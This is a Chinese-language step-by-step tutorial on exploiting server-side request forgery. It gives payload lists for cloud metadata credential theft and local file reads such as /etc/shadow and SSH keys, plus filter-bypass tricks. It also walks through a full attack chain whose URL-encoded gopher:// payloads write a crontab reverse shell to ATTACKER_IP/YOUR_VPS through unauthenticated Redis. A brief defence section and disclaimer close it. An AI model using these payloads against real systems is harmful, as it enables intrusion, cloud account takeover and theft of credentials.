SSRF(服务端请求伪造)是 2026 年云端应用中最致命的漏洞之一。攻击者让服务器替自己发请求,就能穿透防火墙、扫描内网、甚至拿下云元数据凭证。本文从零开始,手把手教你发现、利用和绕过 SSRF。
前置准备
你需要什么:
- 一台 Linux 虚拟机(用于搭建靶场和测试 payload)
- curl / netcat / Python3(发送请求)
- Burp Suite(抓包改包)
- 可选:SSRFmap 自动化利用框架
知识点前置:
- HTTP 请求的基本结构
- 内网 IP 段划分(127.0.0.1/8、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)
- 云服务元数据服务的基本概念
一、核心原理:SSRF 到底怎么回事
1.1 什么是 SSRF
SSRF(Server-Side Request Forgery)的本质是:服务端接收了你提供的 URL,然后用它自己的身份去请求了这个 URL。
# 有漏洞的代码示例
import requests
def fetch_image(url):
# 直接使用用户提供的 URL 发起请求
resp = requests.get(url)
return resp.content
# 攻击者传入:file:///etc/passwd 或 http://169.254.169.254/latest/meta-data/
关键问题: 请求是从服务端发出的,而不是你的浏览器。这意味着:
- 可以访问内网资源(你访问不到的服务)
- 可以绕过IP 白名单(服务器 IP 在信任列表里)
- 可以读取本地文件(使用 file:// 协议)
- 可以获取云服务器元数据(密钥、凭证)
1.2 SSRF 的危害分级
| 危害等级 | 攻击场景 | 风险 |
|---|---|---|
| 🔴 严重 | 云元数据读取 → 云凭证泄露 → 云环境 getshell | P1 |
| 🔴 严重 | 内网 Redis/Memcache 未授权访问 → RCE | P1 |
| 🟠 高危 | 内网端口扫描 → 发现隐藏服务 | P2 |
| 🟠 高危 | 本地文件读取(file://) | P2 |
| 🟡 中危 | 内网 Web 应用 CSRF 攻击 | P3 |
| 🟢 低危 | 内部 API 调用(只读信息泄露) | P4 |
二、SSRF 漏洞发现:在哪些地方找
2.1 高发功能点
检查应用中所有需要传入 URL/路径的功能:
| 功能 | 参数示例 | 说明 |
|---|---|---|
| 图片抓取/头像加载 | ?url=, ?img=, ?src= | 最常见的入口 |
| 网页截图 | ?target=, ?site= | 截图服务常发起内网请求 |
| 文档转换/PDF生成 | ?file=, ?doc= | wkhtmltopdf 等工具存在 SSRF |
| Webhook 回调 | ?callback=, ?webhook= | 验证回调时发起请求 |
| API 代理/转发 | ?api=, ?endpoint= | 反向代理的隐藏入口 |
| 视频/音频抓取 | ?video_url= | 爬取外部资源 |
| 文件下载/预览 | ?path=, ?download= | 支持 URL 下载的功能 |
2.2 基础检测方法
第一步:找一个你能控制的服务器或服务(如 webhook.site、你自己的 VPS)。
第二步:构造探测 payload:
# 向你的监听服务器发送请求(检测 SSRF)
https://target.com/fetch?url=http://YOUR_SERVER:9999/test
# 在你的服务器上监听
nc -lvp 9999
如果目标服务器访问了你的监听端口,说明存在 SSRF。
第三步:测试常见内网地址:
# 探测本机
?url=http://127.0.0.1:80
?url=http://0.0.0.0:80
?url=http://[::1]:80
# 探测内网常见服务
?url=http://10.0.0.1:22
?url=http://172.16.0.1:6379
?url=http://192.168.1.1:3306
三、SSRF 利用技巧:四种核心场景
场景 1:内网端口扫描
利用响应时间、状态码、Content-Length 差异来判断端口是否开放:
# Bash 批量扫描
for port in 22 80 443 3306 6379 8080 9200; do
curl -s -o /dev/null -w "%{http_code} %{time_total}s port $port\n" \
"http://target.com/fetch?url=http://192.168.1.1:$port"
done
# Python 精细化扫描
python3 -c "
import requests, sys
target = 'http://target.com/fetch?url=http://10.0.0.1:{}'
for port in [22, 80, 443, 3306, 6379, 6378, 8080, 9200, 27017, 11211]:
try:
r = requests.get(target.format(port), timeout=5)
print(f'Port {port}: {r.status_code} ({len(r.text)}b)')
except:
print(f'Port {port}: timeout/error')
"
场景 2:云元数据攻击(云上 getshell 核心手法)
不同云厂商的元数据地址不同——这是 SSRF 最有价值的目标:
# AWS(最经典)
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/user-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP
?url=http://metadata.google.internal/computeMetadata/v1/
?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure
?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01
?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# 阿里云
?url=http://100.100.100.200/latest/meta-data/
?url=http://100.100.100.200/latest/meta-data/ram/security-credentials/
# 腾讯云
?url=http://metadata.tencentyun.com/latest/meta-data/
?url=http://metadata.tencentyun.com/latest/meta-data/cvm/instance-id
# 华为云
?url=http://169.254.169.254/openstack/latest/
实战案例:AWS 元数据泄露到云控制台接管
# 1. 获取 IAM 角色列表
curl "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# 返回: my-ec2-role
# 2. 获取临时凭证
curl "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/my-ec2-role"
# 返回 AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
# 3. 使用 awscli 接管云环境
aws configure set aws_access_key_id AKIAXXXXXXXXXX
aws configure set aws_secret_access_key XXXXXXXXXXXXXX
aws configure set aws_session_token XXXXXXXXXXXXXX
aws s3 ls # 查看所有存储桶
aws ec2 describe-instances --region us-east-1 # 查看所有实例
场景 3:file:// 协议读文件
# 读取 Linux 敏感文件
?url=file:///etc/passwd
?url=file:///etc/shadow
?url=file:///proc/self/environ
?url=file:///proc/self/cmdline
?url=file:///home/www/.ssh/id_rsa
?url=file:///var/www/html/config.php
# Windows 敏感文件
?url=file:///c:/windows/win.ini
?url=file:///c:/windows/system32/drivers/etc/hosts
场景 4:内网 Redis 未授权访问 → RCE
这是经典的组合拳:SSRF → Redis → RCE
# 检测内网 Redis 是否开启
?url=http://10.0.0.2:6379
# 如果 Redis 未授权,可以直接写入 SSH 密钥
# URL 编码后的 Redis 命令通过 gopher:// 协议
?url=gopher://10.0.0.2:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a*/1 * * * * bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'%0a%0a%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
注意: gopher:// 协议利用需要目标编程语言的支持。PHP 的
curl_exec()、file_get_contents()默认支持 gopher://。
四、四道常见 WAF 绕过
绕过 1:DNS 重绑定(最优雅)
SSRF 防御常使用 DNS 解析验证:先解析 IP,判断是否为内网,再发起请求。但 DNS 记录可以随时变化。
# 使用 dnsrebind 服务
# 第一次解析(验证阶段)→ 返回合法 IP(如 1.2.3.4)
# 第二次解析(实际请求)→ 返回内网 IP(如 127.0.0.1)
# 推荐工具:https://lock.cmpxchg8b.com/rebinder.html
?url=http://bruteforce.7f000001.8080.rbndr.us:8080/admin
绕过 2:URL 解析差异绕过
不同组件对 URL 的解析方式不同——利用这个差异:
# IP 地址混淆
?url=http://2130706433/ # 127.0.0.1 的十进制表示
?url=http://0x7f000001/ # 127.0.0.1 的十六进制表示
?url=http://0177.0.0.1/ # 八进制表示
?url=http://127.1/ # 简写
?url=http://0/ # 0.0.0.0
# 短链接 / URL 重定向
?url=http://t.cn/xxxxx # 短链指向内网
?url=http://your-server.com/redirect?to=http://169.254.169.254
# 利用 @ 符号
?url=http://expected.com@169.254.169.254/ # curl 会解析 @ 后的地址
# 利用 # 符号
?url=http://169.254.169.254#@expected.com # 某些解析器忽略 # 后内容
# Unicode 编码
?url=http://①②⑨⓿.①②⑨.①②⑨.②⑤④/ # 用全角/带圈数字绕过
绕过 3:302 跳转绕过
# 在你的服务器上部署 302 跳转
# PHP 示例
<?php
header('Location: http://169.254.169.254/latest/meta-data/');
?>
# 发送请求
?url=http://your-server.com/redirect.php
绕过 4:协议混用
# 不同 URL scheme
?url=dict://127.0.0.1:6379/info # Redis 信息读取
?url=gopher://127.0.0.1:6379/_*1%0d%0a...
?url=ftp://127.0.0.1:21/ # FTP 探测
?url=file:///etc/passwd # 文件读取
五、实战案例:从 SSRF 到内网 Shell
场景还原
目标是一个在线网页截图服务 https://screenshot.target.com/capture?url=
Step 1:确认 SSRF
# 在 VPS 上监听
nc -lvp 9999
# 发送探测请求
https://screenshot.target.com/capture?url=http://YOUR_VPS:9999/test
# VPS 收到连接 → SSRF 确认
Step 2:内网扫描
# 扫描常见的 10.0.0.0/8 网段
https://screenshot.target.com/capture?url=http://10.0.0.1:6379 # Redis?
https://screenshot.target.com/capture?url=http://10.0.0.1:3306 # MySQL?
Step 3:发现 Redis 6379 端口开放
# 尝试 dict:// 协议快速查看 Redis 信息
https://screenshot.target.com/capture?url=dict://10.0.0.1:6379/info
# 返回 Redis 信息—未授权且可用
Step 4:利用 gopher:// 写入 crontab
# 构造 Redis 命令:写入定时任务反弹 shell
# Redis 命令序列:
# FLUSHALL
# SET shell "\n\n*/1 * * * * bash -c 'exec bash -i &>/dev/tcp/YOUR_VPS/4444 <&1'\n\n"
# CONFIG SET dir /var/spool/cron/
# CONFIG SET dbfilename root
# SAVE
# 完整 gopher payload(需要 URL 编码)
# 使用工具生成:https://github.com/tarunkant/Gopherus
https://screenshot.target.com/capture?url=gopher://10.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2464%0D%0A%0A%0A%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%27exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2FYOUR_VPS%2F4444%20%3C%261%27%0A%0A%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A%2Fvar%2Fspool%2Fcron%2F%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0ASAVE%0D%0A
Step 5:获取 Shell
# 在你的 VPS 上监听
nc -lvp 4444
# 等待 crontab 执行(最多 1 分钟)
# 收到反向 shell → 内网沦陷
六、防御建议
# 1. 白名单验证(不要黑名单!)
# Python Flask 示例
import ipaddress
ALLOWED_HOSTS = ['i.ytimg.com', 'img.example.com'] # 白名单
# 2. DNS 解析后检查 IP
def is_private_ip(url):
host = urllib.parse.urlparse(url).hostname
ip = socket.gethostbyname(host)
return ipaddress.ip_address(ip).is_private
# 3. 禁用危险协议
# PHP curl 限制协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
# 4. 限制重定向
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); # 或启用但验证最终 URL
# 5. 网络隔离
# 使用 iptables 阻止容器/应用访问元数据服务
iptables -A OUTPUT -d 169.254.169.254 -j DROP
七、快速检测 Checklist
[ ] 检查所有接收 URL 参数的接口
[ ] 测试 http://127.0.0.1:8080 等内网地址
[ ] 测试 file:///etc/passwd 协议切换
[ ] 测试云元数据地址(AWS/GCP/Azure/阿里云/腾讯云)
[ ] 试 gopher://dict://ftp:// 等非常见协议
[ ] 测试 DNS 重绑定绕过
[ ] 测试 URL 解析差异(十/十六进制/IP简写)
[ ] 测试 302 跳转绕过
[ ] 检查响应内容是否包含内网服务信息
[ ] 检查响应时间差(端口开放 vs 关闭)
常用工具速查
| 工具 | 用途 | 链接 |
|---|---|---|
| SSRFmap | SSRF 自动化利用框架 | GitHub |
| Gopherus | gopher:// payload 生成 | GitHub |
| SSRFire | 自动化 SSRF 检测 | GitHub |
| dnsrebind | DNS 重绑定服务 | lock.cmpxchg8b.com |
| webhook.site | 请求接收/检测 | webhook.site |
免责声明: 本文所有内容仅用于安全研究和授权测试。在未获得授权的情况下对任何系统进行测试均属违法行为。